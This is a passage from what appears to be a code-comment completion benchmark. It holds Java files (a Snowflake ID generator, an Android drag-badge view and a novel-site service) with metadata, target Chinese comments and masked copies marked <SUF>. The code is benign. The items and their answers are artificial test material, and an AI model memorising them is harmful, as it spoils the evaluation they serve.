* 得到的值),这里的的开始时间截,一般是我们的id生成器开始使用的时间,由我们程序来指定的(如下下面程序IdWorker类的startTime属性)。41位的时间截,可以使用69年,年T = (1L << 41) / (1000L * 60 * 60 * 24 * 365) = 69<br>
* 10位的数据机器位,可以部署在1024个节点,包括5位datacenterId和5位workerId<br>
* 12位序列,毫秒内的计数,12位的计数顺序号支持每个节点每毫秒(同一机器,同一时间截)产生4096个ID序号<br>
* 加起来刚好64位,为一个Long型。<br>
* SnowFlake的优点是,整体上按照时间自增排序,并且整个分布式系统内不会产生ID碰撞(由数据中心ID和机器ID作区分),并且效率较高,经测试,SnowFlake每秒能够产生26万ID左右。
* @author J.L.Zhou
*
*/
public class SnowflakeId {
/**
* 开始的时间戳
*/
private static long TIME_START;
/**
* 当前时间戳
*/
private long time;
/**
* 上一次获取的时间戳
*/
private long timeOld;
/**
* 数据中心编号
*/
private long centerId;
/**
* 工作节点编号
*/
private long workerId;
/**
* 毫秒内的计数器
*/
private long index = 0;
static{
try{
TIME_START = new SimpleDateFormat("yyyy-MM-dd").parse("2018-09-1").getTime();
}catch(Exception ex){
ex.printStackTrace();
System.exit(0);
}
}
/**
*
* @param centerId 数据中心编号
* @param workerId 工作节点编号
*/
public SnowflakeId(long centerId, long workerId) {
super();
if(centerId>=32){
throw new RuntimeException("数据中心编号不能大于32");
}
if(workerId>=32){
throw new RuntimeException("工作节点编号不能大于32");
}
this.centerId = centerId;
this.workerId = workerId;
}
public long nextId(){
time = System.currentTimeMillis();
if(time==timeOld){
++index;
if(index>=4096){
time = getNextTime();
index = 0L;
}
}else{
index = 0L;
}
timeOld = time;
//1 41 5 5 12
// System.out.println(Long.toBinaryString((time-TIME_START)));
// System.out.println(Long.toBinaryString((time-TIME_START)<<22));
// System.out.println(Long.toBinaryString(centerId));
// System.out.println(Long.toBinaryString(centerId<<17));
return (time-TIME_START)<<22 | centerId<<17 | workerId<<12 | index;
}
/**
* 获取下一毫秒,(本毫秒内计数器已经用完了)
* @return
*/
public synchronized long getNextTime(){
while(time==System.currentTimeMillis()){
}
return System.currentTimeMillis();
}
private static SnowflakeId id = new SnowflakeId(0, 0);
/**
* 获取0号机房第0台电脑的雪花数生产对象来生产ID
* @return
*/
public static long next(){
return id.nextId();
}
public static void main(String[] args) {
SnowflakeId id = new SnowflakeId(1,2);
long time = System.currentTimeMillis();
for(int i=0;i<1;i++){
long l = id.nextId();
System.out.println(l);
System.out.println(Long.toBinaryString(l)+"\t"+l);
}
System.out.println(System.currentTimeMillis()-time);
System.out.println("11000111101101011110001001".length());
}
}
| 1252652974/com.ll.rwshopping | src/com/teach/commons/SnowflakeId.java | 1,334 | /**
* 获取0号机房第0台电脑的雪花数生产对象来生产ID
* @return
*/ | block_comment | zh-cn | package com.teach.commons;
import java.text.SimpleDateFormat;
/**
* 分布式Id算法
* 雪花数
* Twitter_Snowflake<br>
* SnowFlake的结构如下(每部分用-分开):<br>
* 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 <br>
* 1位标识,由于long基本类型在Java中是带符号的,最高位是符号位,正数是0,负数是1,所以id一般是正数,最高位是0<br>
* 41位时间截(毫秒级),注意,41位时间截不是存储当前时间的时间截,而是存储时间截的差值(当前时间截 - 开始时间截)
* 得到的值),这里的的开始时间截,一般是我们的id生成器开始使用的时间,由我们程序来指定的(如下下面程序IdWorker类的startTime属性)。41位的时间截,可以使用69年,年T = (1L << 41) / (1000L * 60 * 60 * 24 * 365) = 69<br>
* 10位的数据机器位,可以部署在1024个节点,包括5位datacenterId和5位workerId<br>
* 12位序列,毫秒内的计数,12位的计数顺序号支持每个节点每毫秒(同一机器,同一时间截)产生4096个ID序号<br>
* 加起来刚好64位,为一个Long型。<br>
* SnowFlake的优点是,整体上按照时间自增排序,并且整个分布式系统内不会产生ID碰撞(由数据中心ID和机器ID作区分),并且效率较高,经测试,SnowFlake每秒能够产生26万ID左右。
* @author J.L.Zhou
*
*/
public class SnowflakeId {
/**
* 开始的时间戳
*/
private static long TIME_START;
/**
* 当前时间戳
*/
private long time;
/**
* 上一次获取的时间戳
*/
private long timeOld;
/**
* 数据中心编号
*/
private long centerId;
/**
* 工作节点编号
*/
private long workerId;
/**
* 毫秒内的计数器
*/
private long index = 0;
static{
try{
TIME_START = new SimpleDateFormat("yyyy-MM-dd").parse("2018-09-1").getTime();
}catch(Exception ex){
ex.printStackTrace();
System.exit(0);
}
}
/**
*
* @param centerId 数据中心编号
* @param workerId 工作节点编号
*/
public SnowflakeId(long centerId, long workerId) {
super();
if(centerId>=32){
throw new RuntimeException("数据中心编号不能大于32");
}
if(workerId>=32){
throw new RuntimeException("工作节点编号不能大于32");
}
this.centerId = centerId;
this.workerId = workerId;
}
public long nextId(){
time = System.currentTimeMillis();
if(time==timeOld){
++index;
if(index>=4096){
time = getNextTime();
index = 0L;
}
}else{
index = 0L;
}
timeOld = time;
//1 41 5 5 12
// System.out.println(Long.toBinaryString((time-TIME_START)));
// System.out.println(Long.toBinaryString((time-TIME_START)<<22));
// System.out.println(Long.toBinaryString(centerId));
// System.out.println(Long.toBinaryString(centerId<<17));
return (time-TIME_START)<<22 | centerId<<17 | workerId<<12 | index;
}
/**
* 获取下一毫秒,(本毫秒内计数器已经用完了)
* @return
*/
public synchronized long getNextTime(){
while(time==System.currentTimeMillis()){
}
return System.currentTimeMillis();
}
private static SnowflakeId id = new SnowflakeId(0, 0);
/**
* 获取0 <SUF>*/
public static long next(){
return id.nextId();
}
public static void main(String[] args) {
SnowflakeId id = new SnowflakeId(1,2);
long time = System.currentTimeMillis();
for(int i=0;i<1;i++){
long l = id.nextId();
System.out.println(l);
System.out.println(Long.toBinaryString(l)+"\t"+l);
}
System.out.println(System.currentTimeMillis()-time);
System.out.println("11000111101101011110001001".length());
}
}
| 0 |
54281_6 | package com.rongseal.widget;
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.AnimatorSet;
import android.animation.ValueAnimator;
import android.animation.ValueAnimator.AnimatorUpdateListener;
import android.annotation.SuppressLint;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.drawable.GradientDrawable;
import android.graphics.drawable.StateListDrawable;
import android.support.v4.view.ViewPager;
import android.util.AttributeSet;
import android.util.Log;
import android.view.Gravity;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewTreeObserver.OnPreDrawListener;
import android.view.animation.LinearInterpolator;
import android.view.animation.OvershootInterpolator;
import android.widget.AbsListView;
import android.widget.ScrollView;
import android.widget.TextView;
public class DragPointView extends TextView {
private boolean initBgFlag;
private OnDragListencer dragListencer;
private int backgroundColor = Color.RED;
private PointView pointView;
private int x, y, r;
private ViewGroup scrollParent;
private int[] p = new int[2];
public DragPointView(Context context, AttributeSet attrs) {
super(context, attrs);
initbg();
}
public OnDragListencer getDragListencer() {
return dragListencer;
}
public void setDragListencer(OnDragListencer dragListencer) {
this.dragListencer = dragListencer;
}
public int getBackgroundColor() {
return backgroundColor;
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
int w = getMeasuredWidth();
int h = getMeasuredHeight();
if (w != h) { // 简单的将宽高搞成一样的,如果有更好的方法欢迎在我博客下方留言!
int x = Math.max(w, h);
setMeasuredDimension(x, x);
}
}
@SuppressWarnings("deprecation")
public void setBackgroundColor(int backgroundColor) {
this.backgroundColor = backgroundColor;
DragPointView.this.setBackgroundDrawable(createStateListDrawable((getHeight() > getWidth() ? getHeight()
: getWidth()) / 2, backgroundColor));
}
private void initbg() {
setGravity(Gravity.CENTER);
getViewTreeObserver().addOnPreDrawListener(new OnPreDrawListener() {
@SuppressWarnings("deprecation")
@Override
public boolean onPreDraw() {
if (!initBgFlag) {
DragPointView.this.setBackgroundDrawable(createStateListDrawable(
(getHeight() > getWidth() ? getHeight() : getWidth()) / 2, backgroundColor));
initBgFlag = true;
return false;
}
return true;
}
});
}
@SuppressLint("ClickableViewAccessibility")
@Override
public boolean onTouchEvent(MotionEvent event) {
View root = getRootView();
if (root == null || !(root instanceof ViewGroup)) {
return false;
}
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
root.getLocationOnScreen(p);
scrollParent = getScrollParent();
if (scrollParent != null) {
scrollParent.requestDisallowInterceptTouchEvent(true);
}
int location[] = new int[2];
getLocationOnScreen(location);
x = location[0] + (getWidth() / 2) - p[0];
y = location[1] + (getHeight() / 2) - p[1];
r = (getWidth() + getHeight()) / 4;
pointView = new PointView(getContext());
pointView.setLayoutParams(new ViewGroup.LayoutParams(root.getWidth(), root.getHeight()));
setDrawingCacheEnabled(true);
pointView.catchBitmap = getDrawingCache();
pointView.setLocation(x, y, r, event.getRawX() - p[0], event.getRawY() - p[1]);
((ViewGroup) root).addView(pointView);
setVisibility(View.INVISIBLE);
break;
case MotionEvent.ACTION_MOVE:
pointView.refrashXY(event.getRawX() - p[0], event.getRawY() - p[1]);
break;
case MotionEvent.ACTION_CANCEL:
case MotionEvent.ACTION_UP:
if (scrollParent != null) {
scrollParent.requestDisallowInterceptTouchEvent(false);
}
if (!pointView.broken) { // 没有拉断
pointView.cancel();
} else if (pointView.nearby) {// 拉断了,但是又回去了
pointView.cancel();
} else { // 彻底拉断了
pointView.broken();
}
break;
default:
break;
}
return true;
}
private ViewGroup getScrollParent() {
View p = this;
while (true) {
View v;
try {
v = (View) p.getParent();
} catch (ClassCastException e) {
return null;
}
if (v == null)
return null;
if (v instanceof AbsListView || v instanceof ScrollView || v instanceof ViewPager) {
return (ViewGroup) v;
}
p = v;
}
}
public interface OnDragListencer {
public void onDragOut();
}
class PointView extends View {
private Bitmap catchBitmap;
private Circle c1;
private Circle c2;
private Paint paint;
private Path path = new Path();
private int maxDistance = 10; // 10倍半径距离视为拉断
private boolean broken; // 是否拉断过
private boolean out; // 放手的时候是否拉断
private boolean nearby;
private int brokenProgress;
public PointView(Context context) {
super(context);
init();
}
public void init() {
paint = new Paint();
paint.setColor(backgroundColor);
paint.setAntiAlias(true);
}
public void setLocation(float c1X, float c1Y, float r, float endX, float endY) {
broken = false;
c1 = new Circle(c1X, c1Y, r);
c2 = new Circle(endX, endY, r);
}
public void refrashXY(float x, float y) {
c2.x = x;
c2.y = y;
// 以前的半径应该根据距离缩小点了
// 计算出距离
double distance = c1.getDistance(c2);
int rate = 10;
c1.r = (float) ((c2.r * c2.r * rate) / (distance + (c2.r * rate)));
Log.i("info", "c1: " + c1.r);
invalidate();
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
canvas.drawColor(Color.TRANSPARENT);
if (out) {
float dr = c2.r / 2 + c2.r * 4 * (brokenProgress / 100f);
Log.i("info", "dr" + dr);
canvas.drawCircle(c2.x, c2.y, c2.r / (brokenProgress + 1), paint);
canvas.drawCircle(c2.x - dr, c2.y - dr, c2.r / (brokenProgress + 2), paint);
canvas.drawCircle(c2.x + dr, c2.y - dr, c2.r / (brokenProgress + 2), paint);
canvas.drawCircle(c2.x - dr, c2.y + dr, c2.r / (brokenProgress + 2), paint);
canvas.drawCircle(c2.x + dr, c2.y + dr, c2.r / (brokenProgress + 2), paint);
} else {
// 绘制手指跟踪的圆形
canvas.drawBitmap(catchBitmap, c2.x - c2.r, c2.y - c2.r, paint);
path.reset();
float deltaX = c2.x - c1.x;
float deltaY = -(c2.y - c1.y);
double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY);
double sin = deltaY / distance;
double cos = deltaX / distance;
nearby = distance < c2.r * maxDistance;
if (nearby && !broken) {
canvas.drawCircle(c1.x, c1.y, c1.r, paint);
path.moveTo((float) (c1.x - c1.r * sin), (float) (c1.y - c1.r * cos));
path.lineTo((float) (c1.x + c1.r * sin), (float) (c1.y + c1.r * cos));
path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c2.x + c2.r * sin), (float) (c2.y + c2.r
* cos));
path.lineTo((float) (c2.x - c2.r * sin), (float) (c2.y - c2.r * cos));
path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c1.x - c1.r * sin), (float) (c1.y - c1.r
* cos));
canvas.drawPath(path, paint);
} else {
broken = true; // 已经拉断了
}
}
}
public void cancel() {
int duration = 150;
AnimatorSet set = new AnimatorSet();
ValueAnimator animx = ValueAnimator.ofFloat(c2.x, c1.x);
animx.setDuration(duration);
animx.setInterpolator(new OvershootInterpolator(2));
animx.addUpdateListener(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
c2.x = (float) animation.getAnimatedValue();
invalidate();
}
});
ValueAnimator animy = ValueAnimator.ofFloat(c2.y, c1.y);
animy.setDuration(duration);
animy.setInterpolator(new OvershootInterpolator(2));
animy.addUpdateListener(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
c2.y = (float) animation.getAnimatedValue();
invalidate();
}
});
set.playTogether(animx, animy);
set.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
ViewGroup vg = (ViewGroup) PointView.this.getParent();
vg.removeView(PointView.this);
DragPointView.this.setVisibility(View.VISIBLE);
}
});
set.start();
}
public void broken() {
out = true;
int duration = 500;
ValueAnimator a = ValueAnimator.ofInt(0, 100);
a.setDuration(duration);
a.setInterpolator(new LinearInterpolator());
a.addUpdateListener(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
brokenProgress = (int) animation.getAnimatedValue();
invalidate();
}
});
a.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
ViewGroup vg = (ViewGroup) PointView.this.getParent();
vg.removeView(PointView.this);
}
});
a.start();
if (dragListencer != null) {
dragListencer.onDragOut();
}
}
class Circle {
float x;
float y;
float r;
public Circle(float x, float y, float r) {
this.x = x;
this.y = y;
this.r = r;
}
public double getDistance(Circle c) {
float deltaX = x - c.x;
float deltaY = y - c.y;
double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY);
return distance;
}
}
}
/**
* @param radius 圆角角度
* @param color 填充颜色
* @return StateListDrawable 对象
* @author zy
*/
public static StateListDrawable createStateListDrawable(int radius, int color) {
StateListDrawable bg = new StateListDrawable();
GradientDrawable gradientStateNormal = new GradientDrawable();
gradientStateNormal.setColor(color);
gradientStateNormal.setShape(GradientDrawable.RECTANGLE);
gradientStateNormal.setCornerRadius(radius);
gradientStateNormal.setStroke(0, 0);
bg.addState(View.EMPTY_STATE_SET, gradientStateNormal);
return bg;
}
}
| 13120241790/SeaStar | SeaStar/app/src/main/java/com/rongseal/widget/DragPointView.java | 3,106 | // 放手的时候是否拉断
| line_comment | zh-cn | package com.rongseal.widget;
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.AnimatorSet;
import android.animation.ValueAnimator;
import android.animation.ValueAnimator.AnimatorUpdateListener;
import android.annotation.SuppressLint;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.drawable.GradientDrawable;
import android.graphics.drawable.StateListDrawable;
import android.support.v4.view.ViewPager;
import android.util.AttributeSet;
import android.util.Log;
import android.view.Gravity;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewTreeObserver.OnPreDrawListener;
import android.view.animation.LinearInterpolator;
import android.view.animation.OvershootInterpolator;
import android.widget.AbsListView;
import android.widget.ScrollView;
import android.widget.TextView;
public class DragPointView extends TextView {
private boolean initBgFlag;
private OnDragListencer dragListencer;
private int backgroundColor = Color.RED;
private PointView pointView;
private int x, y, r;
private ViewGroup scrollParent;
private int[] p = new int[2];
public DragPointView(Context context, AttributeSet attrs) {
super(context, attrs);
initbg();
}
public OnDragListencer getDragListencer() {
return dragListencer;
}
public void setDragListencer(OnDragListencer dragListencer) {
this.dragListencer = dragListencer;
}
public int getBackgroundColor() {
return backgroundColor;
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
int w = getMeasuredWidth();
int h = getMeasuredHeight();
if (w != h) { // 简单的将宽高搞成一样的,如果有更好的方法欢迎在我博客下方留言!
int x = Math.max(w, h);
setMeasuredDimension(x, x);
}
}
@SuppressWarnings("deprecation")
public void setBackgroundColor(int backgroundColor) {
this.backgroundColor = backgroundColor;
DragPointView.this.setBackgroundDrawable(createStateListDrawable((getHeight() > getWidth() ? getHeight()
: getWidth()) / 2, backgroundColor));
}
private void initbg() {
setGravity(Gravity.CENTER);
getViewTreeObserver().addOnPreDrawListener(new OnPreDrawListener() {
@SuppressWarnings("deprecation")
@Override
public boolean onPreDraw() {
if (!initBgFlag) {
DragPointView.this.setBackgroundDrawable(createStateListDrawable(
(getHeight() > getWidth() ? getHeight() : getWidth()) / 2, backgroundColor));
initBgFlag = true;
return false;
}
return true;
}
});
}
@SuppressLint("ClickableViewAccessibility")
@Override
public boolean onTouchEvent(MotionEvent event) {
View root = getRootView();
if (root == null || !(root instanceof ViewGroup)) {
return false;
}
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
root.getLocationOnScreen(p);
scrollParent = getScrollParent();
if (scrollParent != null) {
scrollParent.requestDisallowInterceptTouchEvent(true);
}
int location[] = new int[2];
getLocationOnScreen(location);
x = location[0] + (getWidth() / 2) - p[0];
y = location[1] + (getHeight() / 2) - p[1];
r = (getWidth() + getHeight()) / 4;
pointView = new PointView(getContext());
pointView.setLayoutParams(new ViewGroup.LayoutParams(root.getWidth(), root.getHeight()));
setDrawingCacheEnabled(true);
pointView.catchBitmap = getDrawingCache();
pointView.setLocation(x, y, r, event.getRawX() - p[0], event.getRawY() - p[1]);
((ViewGroup) root).addView(pointView);
setVisibility(View.INVISIBLE);
break;
case MotionEvent.ACTION_MOVE:
pointView.refrashXY(event.getRawX() - p[0], event.getRawY() - p[1]);
break;
case MotionEvent.ACTION_CANCEL:
case MotionEvent.ACTION_UP:
if (scrollParent != null) {
scrollParent.requestDisallowInterceptTouchEvent(false);
}
if (!pointView.broken) { // 没有拉断
pointView.cancel();
} else if (pointView.nearby) {// 拉断了,但是又回去了
pointView.cancel();
} else { // 彻底拉断了
pointView.broken();
}
break;
default:
break;
}
return true;
}
private ViewGroup getScrollParent() {
View p = this;
while (true) {
View v;
try {
v = (View) p.getParent();
} catch (ClassCastException e) {
return null;
}
if (v == null)
return null;
if (v instanceof AbsListView || v instanceof ScrollView || v instanceof ViewPager) {
return (ViewGroup) v;
}
p = v;
}
}
public interface OnDragListencer {
public void onDragOut();
}
class PointView extends View {
private Bitmap catchBitmap;
private Circle c1;
private Circle c2;
private Paint paint;
private Path path = new Path();
private int maxDistance = 10; // 10倍半径距离视为拉断
private boolean broken; // 是否拉断过
private boolean out; // 放手 <SUF>
private boolean nearby;
private int brokenProgress;
public PointView(Context context) {
super(context);
init();
}
public void init() {
paint = new Paint();
paint.setColor(backgroundColor);
paint.setAntiAlias(true);
}
public void setLocation(float c1X, float c1Y, float r, float endX, float endY) {
broken = false;
c1 = new Circle(c1X, c1Y, r);
c2 = new Circle(endX, endY, r);
}
public void refrashXY(float x, float y) {
c2.x = x;
c2.y = y;
// 以前的半径应该根据距离缩小点了
// 计算出距离
double distance = c1.getDistance(c2);
int rate = 10;
c1.r = (float) ((c2.r * c2.r * rate) / (distance + (c2.r * rate)));
Log.i("info", "c1: " + c1.r);
invalidate();
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
canvas.drawColor(Color.TRANSPARENT);
if (out) {
float dr = c2.r / 2 + c2.r * 4 * (brokenProgress / 100f);
Log.i("info", "dr" + dr);
canvas.drawCircle(c2.x, c2.y, c2.r / (brokenProgress + 1), paint);
canvas.drawCircle(c2.x - dr, c2.y - dr, c2.r / (brokenProgress + 2), paint);
canvas.drawCircle(c2.x + dr, c2.y - dr, c2.r / (brokenProgress + 2), paint);
canvas.drawCircle(c2.x - dr, c2.y + dr, c2.r / (brokenProgress + 2), paint);
canvas.drawCircle(c2.x + dr, c2.y + dr, c2.r / (brokenProgress + 2), paint);
} else {
// 绘制手指跟踪的圆形
canvas.drawBitmap(catchBitmap, c2.x - c2.r, c2.y - c2.r, paint);
path.reset();
float deltaX = c2.x - c1.x;
float deltaY = -(c2.y - c1.y);
double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY);
double sin = deltaY / distance;
double cos = deltaX / distance;
nearby = distance < c2.r * maxDistance;
if (nearby && !broken) {
canvas.drawCircle(c1.x, c1.y, c1.r, paint);
path.moveTo((float) (c1.x - c1.r * sin), (float) (c1.y - c1.r * cos));
path.lineTo((float) (c1.x + c1.r * sin), (float) (c1.y + c1.r * cos));
path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c2.x + c2.r * sin), (float) (c2.y + c2.r
* cos));
path.lineTo((float) (c2.x - c2.r * sin), (float) (c2.y - c2.r * cos));
path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c1.x - c1.r * sin), (float) (c1.y - c1.r
* cos));
canvas.drawPath(path, paint);
} else {
broken = true; // 已经拉断了
}
}
}
public void cancel() {
int duration = 150;
AnimatorSet set = new AnimatorSet();
ValueAnimator animx = ValueAnimator.ofFloat(c2.x, c1.x);
animx.setDuration(duration);
animx.setInterpolator(new OvershootInterpolator(2));
animx.addUpdateListener(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
c2.x = (float) animation.getAnimatedValue();
invalidate();
}
});
ValueAnimator animy = ValueAnimator.ofFloat(c2.y, c1.y);
animy.setDuration(duration);
animy.setInterpolator(new OvershootInterpolator(2));
animy.addUpdateListener(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
c2.y = (float) animation.getAnimatedValue();
invalidate();
}
});
set.playTogether(animx, animy);
set.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
ViewGroup vg = (ViewGroup) PointView.this.getParent();
vg.removeView(PointView.this);
DragPointView.this.setVisibility(View.VISIBLE);
}
});
set.start();
}
public void broken() {
out = true;
int duration = 500;
ValueAnimator a = ValueAnimator.ofInt(0, 100);
a.setDuration(duration);
a.setInterpolator(new LinearInterpolator());
a.addUpdateListener(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
brokenProgress = (int) animation.getAnimatedValue();
invalidate();
}
});
a.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
ViewGroup vg = (ViewGroup) PointView.this.getParent();
vg.removeView(PointView.this);
}
});
a.start();
if (dragListencer != null) {
dragListencer.onDragOut();
}
}
class Circle {
float x;
float y;
float r;
public Circle(float x, float y, float r) {
this.x = x;
this.y = y;
this.r = r;
}
public double getDistance(Circle c) {
float deltaX = x - c.x;
float deltaY = y - c.y;
double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY);
return distance;
}
}
}
/**
* @param radius 圆角角度
* @param color 填充颜色
* @return StateListDrawable 对象
* @author zy
*/
public static StateListDrawable createStateListDrawable(int radius, int color) {
StateListDrawable bg = new StateListDrawable();
GradientDrawable gradientStateNormal = new GradientDrawable();
gradientStateNormal.setColor(color);
gradientStateNormal.setShape(GradientDrawable.RECTANGLE);
gradientStateNormal.setCornerRadius(radius);
gradientStateNormal.setStroke(0, 0);
bg.addState(View.EMPTY_STATE_SET, gradientStateNormal);
return bg;
}
}
| 0 |
30932_1 | package com.novel.service.impl;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import com.alibaba.fastjson.JSON;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.novel.bean.Chapter;
import com.novel.bean.ChapterExample;
import com.novel.bean.Content;
import com.novel.bean.ContentExample;
import com.novel.bean.ContentKey;
import com.novel.bean.Message;
import com.novel.bean.Novel;
import com.novel.bean.NovelExample;
import com.novel.bean.NovelExample.Criteria;
import com.novel.bean.Report;
import com.novel.bean.User;
import com.novel.mapper.ChapterMapper;
import com.novel.mapper.ContentMapper;
import com.novel.mapper.NovelMapper;
import com.novel.redis.RedisClient;
import com.novel.service.MessageService;
import com.novel.service.NovelLowerService;
import com.novel.service.NovelService;
import com.novel.service.ReportService;
import com.novel.until.Msg;
import redis.clients.jedis.JedisPool;
@Service
public class NovelServiceimpl implements NovelService {
@Value("${Recommend}")
private String Recommend;
@Autowired
private NovelMapper novelMapper;
@Autowired
private ContentMapper contentMapper;
@Autowired
private ChapterMapper chapterMapper;
@Autowired
private RedisClient redisClient;
@Autowired
private ReportService reportService;
@Autowired
private MessageService messageService;
@Autowired
private NovelLowerService novelLowerService;
public List<Novel> getNovels(String novelName) {
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
criteria.andTitleLike("%"+novelName+"%");
List<Novel> selectByExample = novelMapper.selectByExample(example);
return selectByExample;
}
@Override
public Content getChapterContent(Integer contentid) {
ContentKey key = new ContentKey();
Content content = contentMapper.selectByPrimaryKey(key);
return content;
}
@Override
public Novel getNovel(Integer id) {
Novel novelbd = novelMapper.selectByPrimaryKey(id);
return novelbd;
}
@Override
public List<Chapter> getChapters(int novelId) {
ChapterExample example = new ChapterExample();
ChapterExample.Criteria criteria = example.createCriteria();
criteria.andNovelidEqualTo(novelId);
example.setOrderByClause("num asc");
List<Chapter> chapters = chapterMapper.selectByExample(example);
return chapters;
}
@Override
public List<Novel> getUserNovels(List<Integer> novelids) {
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
criteria.andIdIn(novelids);
List<Novel> userNovels = novelMapper.selectByExample(example);
return userNovels;
}
@Override
public Content readNovel(Integer contentid,Integer novelid) {
ContentKey key = new ContentKey(contentid, novelid);
Content content = contentMapper.selectByPrimaryKey(key);
return content;
}
@Override
public List<Novel> getRecommendNovel(int start, int end,String type) {
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
List<Integer> zincrB = new ArrayList<>();
if (type != null) {
zincrB = redisClient.getZincrB(type, start, end);
}else {
// 先从redis获取排行值
zincrB = redisClient.getZincrB(Recommend, start, end);
}
if (zincrB.size() == 0) {
return null;
}
criteria.andIdIn(zincrB);
List<Novel> recommendNovels = novelMapper.selectByExample(example);
return recommendNovels;
}
@Override
public Msg deleteNovel(Report report) {
//查询是否存在
Novel selectByPrimaryKey = novelMapper.selectByPrimaryKey(report.getNovelid());
if(selectByPrimaryKey==null) {
return Msg.fail("删除的小说不存在");
}
novelLowerService.addLower(report.getNovelid());
/* //开始删除
ChapterExample example = new ChapterExample();
com.novel.bean.ChapterExample.Criteria criteria = example.createCriteria();
criteria.andNovelidEqualTo(report.getNovelid());
chapterMapper.deleteByExample(example);
//删除内容
ContentExample contentExample = new ContentExample();
com.novel.bean.ContentExample.Criteria criteriacontent = contentExample.createCriteria();
criteriacontent.andNovelidEqualTo(report.getNovelid());
contentMapper.deleteByExample(contentExample);
//删除小说名字
novelMapper.deleteByPrimaryKey(report.getNovelid());*/
//修改举报记录
reportService.updateState(report.getId());
//向举报人发送信息
Message message = new Message();
message.setTitle("举报消息反馈");
String body = "尊敬的用户您好,您举报的小说"+selectByPrimaryKey.getTitle()+""
+ "我们已经在"+new Date()+"处理了。处理结果如下<br>"
+"由用户"+selectByPrimaryKey.getProduct()+"提供的小说因为"+report.getReporttype()+"原因现已删除。"
+"同时我们对此声表道歉 ,信息你的反馈";
message.setBody(body);
message.setSendname("Admin:");
message.setSaveid(report.getUserid());
message.setCreatetime(new Date());
message.setUpdatetime(new Date());
messageService.addMessage(message);
return Msg.success();
}
@Override
public Msg getFootPrint(String ids) {
String[] split = ids.split("-");
List<Integer> listid = new ArrayList<>();
for (String string : split) {
listid.add(Integer.parseInt(string));
}
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
criteria.andIdIn(listid);
List<Novel> recommendNovels = novelMapper.selectByExample(example);
return Msg.success().add("recommendNovels", recommendNovels);
}
@Override
public Msg novelcount() {
int novelcount = novelMapper.selectCount();
return Msg.success().add("novelcount", novelcount);
}
@Override
public Novel getetNovelByid(Integer id) {
Novel novel = novelMapper.selectByPrimaryKey(id);
return novel;
}
@Override
public Msg getContentCount(Integer novelid) {
Integer count = chapterMapper.selectContentCount(novelid);
return Msg.success().add("count", count);
}
}
| 13213824850/novelphone1 | novelphone/src/main/java/com/novel/service/impl/NovelServiceimpl.java | 1,869 | //查询是否存在 | line_comment | zh-cn | package com.novel.service.impl;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import com.alibaba.fastjson.JSON;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.novel.bean.Chapter;
import com.novel.bean.ChapterExample;
import com.novel.bean.Content;
import com.novel.bean.ContentExample;
import com.novel.bean.ContentKey;
import com.novel.bean.Message;
import com.novel.bean.Novel;
import com.novel.bean.NovelExample;
import com.novel.bean.NovelExample.Criteria;
import com.novel.bean.Report;
import com.novel.bean.User;
import com.novel.mapper.ChapterMapper;
import com.novel.mapper.ContentMapper;
import com.novel.mapper.NovelMapper;
import com.novel.redis.RedisClient;
import com.novel.service.MessageService;
import com.novel.service.NovelLowerService;
import com.novel.service.NovelService;
import com.novel.service.ReportService;
import com.novel.until.Msg;
import redis.clients.jedis.JedisPool;
